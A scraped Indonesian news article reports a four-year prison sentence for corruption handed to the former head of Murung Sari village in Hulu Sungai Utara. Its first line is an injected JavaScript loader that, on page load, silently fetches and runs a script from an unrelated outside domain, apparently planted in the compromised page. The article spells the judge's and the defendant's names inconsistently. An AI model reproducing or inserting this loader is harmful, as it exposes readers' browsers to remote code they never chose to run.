(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Murung Sari Kecamatan Amuntai Selatan Kabupaten Hulu Sungai Utara (HSU) Tamjidilah harus mempertanggungjawabkan perbuatannya karena terbukti menyalahgunakan Anggaran Pendapatan Belanja dan Desa (APBDes).
Majelis hakim Pengadilan Tipikor Banjarmasin yang diketuai Vidiawan Satriantoro dan dua hakim anggota menjatuhkan pidana kepada terdakwa Tamjidilah selama 4 tahun penjara.
Kades Murung Sari yang mejabat periode 2007-2019 itu juga dijatuhi pidana denda sebesar Rp200 juta.
Putusan pidana tersebut dijatuhkan majelis hakim Pengadilan Tipikor Banjarmasin yang dipimpin Fidiyawan Satriantoro SH dan dua hakim anggota Arif Winarno SH dan Herlinda SH, Kamis (4/7/2024) sore.
Baca juga: Polemik Pemindahan Kandang Babi, Emi: Mereka Punya Hak Berusaha, Perda Masih Memperbolehkan
Tak hanya pidana penjara dan denda, putusan majelis hakim juga membebani terdakwa Tamjidillah untuk membayar uang pengganti kerugian negara sebesar Rp222 juta.
“Jika uang pengganti tidak dibayar setelah sebulan putusan berkekuatan hukum tetap, maka hartanya dapat disita dan dilelang uang menutupi uang pengganti, dalam hal hartanya tidak cukup, maka diganti dengan 2 tahun 6 bulan penjara,” kata Ketua Majelis Hakim, Vidiawan.
Dalam putusan, majelis menyatakan terdakwa Tamjidillah terbukti bersalah melakukan korupsi sebagaimana dakwaan primair pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.
Putusan 4 tahun penjara tersebut lebih ringan dari tuntutan Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri (Kejari) HSU.
Baca juga: Empat Raperda Mulai Dibahas, Ini Kata Sekda HSU
Sebelumnya JPU menuntut agar terdakwa Tamjidillah dijatuhi pidana penjara selama 5 tahun serta membayar uang denda sebesar Rp200 juta.
Tuntutan pidana tersebut dibacakan oleh tim JPU Bagas Satriaji SH dan Sumantri Aji Budiono SH di ruang sidang Pengadilan Tipikor Banjarmasin, Senin (24/6/2024) lalu.
Sementara untuk pidana tambahan berupa membayar uang pengganti, majelis hakim sependapat dengan JPU untuk membebani mantan kades Murung Sari itu dengan membayar uang pengganti kerugian negara sebesar Rp222 juta.
Diketahui berdasarkan dakwaan, Tamjidilah selaku Kades Murung Sari periode 2007-2019, dalam rentang waktu sekira antara pada tahun 2018-2019 bertempat di Desa Murung Sari secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara atau perekonomian negara.
Perbuatan terdakwa selama rentang waktu 2 tahun itu telah merugikan keuangan negara sebesar Rp222 juta.
Baca juga: Aplikasi iKalsel Terus Diperkenalkan ke Daerah
Dirinya didakwa dengan pasal 2 jo pasal 18 Undang-Undang RI Nomor 20 Tahun 2001 sebagaimana perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwaan primair.
Sementara subsidair didakwa dengan pasal 3 Jo pasal 18 Undang-Undang RI Nomor 20 Tahun 2001 sebagaimana perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.
Usai pembacaan putusan, terdakwa Tamjidillah yang didampingi penasehat hukumnya belum menentukan sikap, pihaknya memilih pikir-pikir sebelum memutuskan menerima putusan atau mengambil langkah upaya hukum banding.
Sikap yang sama juga diutarakan tim JPU yang dihadiri Bagas Satriaji SH dan Sumantri Aji Budiono SH. Pihaknya akan memanfaatkan waktu 7 hari yang diberikan majelis hakim setelah putusan dibacakan.
“Kami pikir-pikir,” kata Bagas Satriaji. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.